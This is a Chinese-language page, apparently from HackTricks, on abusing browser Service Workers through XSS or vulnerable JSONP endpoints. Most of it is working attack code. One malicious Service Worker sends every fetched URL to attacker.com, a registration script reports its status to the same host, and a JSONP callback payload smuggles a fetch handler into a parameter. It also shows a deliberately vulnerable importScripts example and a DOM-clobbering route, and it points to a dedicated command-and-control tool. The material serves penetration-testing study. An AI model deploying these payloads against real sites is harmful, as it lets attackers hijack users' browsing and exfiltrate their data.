8.7 KiB
滥用Service Workers
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
找到最重要的漏洞,以便您可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。立即免费试用。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
基本信息
Service Worker是一个脚本,您的浏览器在后台运行,与网页分开,为不需要网页或用户交互的功能打开了大门。(更多关于什么是Service Worker的信息)。
然后,您可以通过在易受攻击的Web域中的受害者会话内创建/修改Service Workers来滥用Service Workers,从而授予攻击者对受害者将在该域中加载的所有页面的控制权。
检查现有的SWs
您可以在开发者工具的应用程序选项卡的Service Workers字段中查看它们。您还可以查看chrome://serviceworker-internals。
推送通知
如果受害者没有授予推送通知权限,则Service Worker将无法从服务器接收通信,除非用户再次访问攻击者页面。这将防止例如,与访问攻击者网页的所有页面保持对话,因此如果找到了漏洞,Service Worker可以接收并执行它。
然而,如果受害者授予推送通知权限,这可能存在风险。
攻击创建Service Worker
为了利用这个漏洞,您需要找到:
- 一种上传任意JS文件到服务器并加载服务工作者的XSS的方法
- 一个易受攻击的JSONP请求,您可以操纵输出(使用任意JS代码)和一个XSS来加载带有恶意Service Worker的JSONP。
在下面的示例中,我将介绍一段代码,用于注册一个新的Service Worker,该Service Worker将侦听fetch
事件,并将每个获取的URL发送到攻击者的服务器(这是您需要上传到服务器或通过易受攻击的JSONP响应加载的代码):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
以下是将注册服务工作者的代码(您应该能够通过滥用XSS来执行的代码)。在这种情况下,将向攻击者的服务器发送一个GET请求,通知服务工作者的注册是否成功:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
在滥用易受攻击的JSONP端点的情况下,您应该将值放在var sw
内。例如:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
有一个专门用于利用Service Workers的C2,名为Shadow Workers,这将非常有用来滥用这些漏洞。
在XSS情况下,24小时缓存指令限制确保恶意或被入侵的SW将在XSS漏洞修复之前最多存活24小时(假设客户端在线)。网站运营者可以通过设置较低的SW脚本TTL来缩小漏洞窗口。我们还鼓励开发人员构建一个断开连接的SW。
通过DOM Clobbering滥用SW中的importScripts
从Service Worker中调用的函数**importScripts
可以从不同的域导入脚本。如果使用攻击者可以修改的参数**调用此函数,他将能够从自己的域导入JS脚本并获取XSS。
这甚至可以绕过CSP保护。
漏洞代码示例:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
使用DOM Clobbering
有关DOM Clobbering的更多信息,请查看:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
如果SW用于调用**importScripts
的URL/域名位于HTML元素内**,则可以通过DOM Clobbering进行修改,使SW从您自己的域加载脚本。
有关此示例,请查看参考链接。
参考资料
查找最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。立即免费试用。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks衣物
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。